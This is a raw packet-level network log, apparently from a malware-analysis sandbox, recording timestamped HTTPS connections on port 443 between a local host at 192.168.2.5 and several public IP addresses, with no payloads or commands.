Oct 7, 2024 21:53:48.804316044 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.804466009 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.804558039 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.804636955 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.804651976 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.804661989 CEST	50077	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.804666996 CEST	443	50077	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.807638884 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.807661057 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.807836056 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.808068991 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.808084011 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.809763908 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.810235023 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.810273886 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.810600996 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.810614109 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.846879005 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.847426891 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.847502947 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.847860098 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.847867012 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.847877026 CEST	50078	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.847881079 CEST	443	50078	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.850960970 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.851008892 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.851092100 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.851250887 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.851279974 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.906644106 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.906713009 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.906785011 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.907000065 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.907000065 CEST	50079	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.907027006 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.907051086 CEST	443	50079	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.909893990 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.909995079 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:48.910095930 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.910197020 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:48.910217047 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.221801043 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.222318888 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.222388983 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.222706079 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.222723007 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.318347931 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.318500042 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.318711996 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.318814039 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.318855047 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.318888903 CEST	50080	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.318905115 CEST	443	50080	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.322063923 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.322107077 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.322202921 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.322417021 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.322432995 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.381266117 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.381819010 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.381839037 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.382247925 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.382251978 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.458504915 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.459091902 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.459110022 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.459552050 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.459558964 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.469510078 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.470196009 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.470206976 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.470554113 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.470558882 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.481729984 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.481982946 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.482049942 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.482089043 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.482095003 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.482106924 CEST	50081	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.482110977 CEST	443	50081	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.485116959 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.485146046 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.485228062 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.485375881 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.485390902 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.532915115 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.533333063 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.533375025 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.533875942 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.533888102 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.555565119 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.555643082 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.555768967 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.555805922 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.555805922 CEST	50083	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.555824041 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.555838108 CEST	443	50083	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.567964077 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.568145037 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.568191051 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.568190098 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.568236113 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.568280935 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.568308115 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.568321943 CEST	50082	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.568329096 CEST	443	50082	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.637613058 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.637655020 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.637774944 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.638020992 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.638020992 CEST	50084	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.638050079 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.638073921 CEST	443	50084	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.936706066 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.937342882 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.937359095 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:49.937891960 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:49.937896967 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.043509007 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.043726921 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.043821096 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.047358036 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.047379971 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.047403097 CEST	50085	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.047409058 CEST	443	50085	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.098212004 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.098712921 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.098730087 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.099169970 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.099175930 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.199775934 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.199847937 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.199939013 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.200155020 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.200167894 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:50.200201035 CEST	50086	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:50.200206041 CEST	443	50086	13.107.246.64	192.168.2.5
Oct 7, 2024 21:54:09.362191916 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:09.362258911 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:09.362330914 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:09.362643003 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:09.362663984 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:09.986257076 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:09.986682892 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:09.986735106 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:09.987910032 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:09.989244938 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:09.989411116 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:10.032888889 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:19.888154030 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:19.888252974 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:19.888317108 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:21.175435066 CEST	50090	443	192.168.2.5	172.217.23.100
Oct 7, 2024 21:54:21.175474882 CEST	443	50090	172.217.23.100	192.168.2.5
Oct 7, 2024 21:54:37.142710924 CEST	49709	443	192.168.2.5	184.28.90.27
Oct 7, 2024 21:54:37.454822063 CEST	49709	443	192.168.2.5	184.28.90.27
Oct 7, 2024 21:54:37.535379887 CEST	443	49709	184.28.90.27	192.168.2.5
Oct 7, 2024 21:54:37.536581039 CEST	443	49709	184.28.90.27	192.168.2.5
Oct 7, 2024 21:54:37.536638021 CEST	49709	443	192.168.2.5	184.28.90.27
Oct 7, 2024 21:54:38.439306974 CEST	49710	443	192.168.2.5	184.28.90.27
Oct 7, 2024 21:54:38.444717884 CEST	443	49710	184.28.90.27	192.168.2.5
Oct 7, 2024 21:54:38.444845915 CEST	49710	443	192.168.2.5	184.28.90.27
Oct 7, 2024 21:55:10.461163998 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:10.461198092 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:10.461288929 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:10.461585999 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:10.461597919 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:12.052118063 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:12.052465916 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:12.052488089 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:12.052807093 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:12.053106070 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:12.053162098 CEST	443	50092	142.250.184.196	192.168.2.5
Oct 7, 2024 21:55:12.095407009 CEST	50092	443	192.168.2.5	142.250.184.196
Oct 7, 2024 21:55:14.530122042 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:14.530189991 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.530257940 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:14.530483007 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:14.530503035 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.990986109 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.994174004 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:14.994230032 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.995511055 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.995821953 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:14.995984077 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:14.996006012 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.043406010 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.049278021 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.143742085 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143817902 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143851042 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143857002 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.143876076 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143898964 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143908978 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.143918037 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143945932 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.143965006 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.143970966 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.144001961 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.144295931 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.144347906 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.144382000 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.144387960 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.189569950 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.189593077 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227473974 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227581024 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227616072 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.227638006 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227715969 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227745056 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.227755070 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.227792025 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.227799892 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228621960 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228699923 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.228709936 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228797913 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228856087 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.228878021 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228945971 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.228981972 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229000092 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.229012012 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229043961 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.229049921 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229067087 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229124069 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229142904 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.229150057 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229182005 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.229187965 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229867935 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229902983 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229916096 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.229923010 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.229983091 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.230004072 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.230010033 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.230067015 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.232350111 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.278892040 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.310651064 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310751915 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310786009 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310801983 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.310816050 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310856104 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310877085 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.310885906 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310910940 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310920000 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.310925961 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310940027 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.310949087 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.310990095 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311007023 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311013937 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311023951 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311028004 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311067104 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311073065 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311116934 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311219931 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311265945 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311273098 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311315060 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311769962 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311815023 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311925888 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.311975002 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.311980963 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.312024117 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.312030077 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.312073946 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.312742949 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.312793970 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.312932014 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.312988043 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.312994003 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.313044071 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394421101 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.394536972 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394552946 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.394606113 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394650936 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.394706011 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394745111 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.394797087 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394835949 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.394887924 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.394927025 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395020962 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.395181894 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395240068 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.395298004 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395359993 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.395446062 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395497084 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.395868063 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395956039 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.395963907 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.395992041 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396009922 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396085978 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396137953 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396152020 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396176100 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396195889 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396203041 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396218061 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396713972 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396770954 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396778107 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396806955 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396814108 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396833897 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.396936893 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.396944046 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.397007942 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.397138119 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.404011011 CEST	50093	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.404028893 CEST	443	50093	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.423677921 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.423707962 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.423777103 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.424045086 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.424062014 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.890690088 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.891053915 CEST	50094	443	192.168.2.5	104.18.94.41
Oct 7, 2024 21:55:15.891077042 CEST	443	50094	104.18.94.41	192.168.2.5
Oct 7, 2024 21:55:15.892251968 CEST	443	50094	104.18.94.41	192.168.2.5
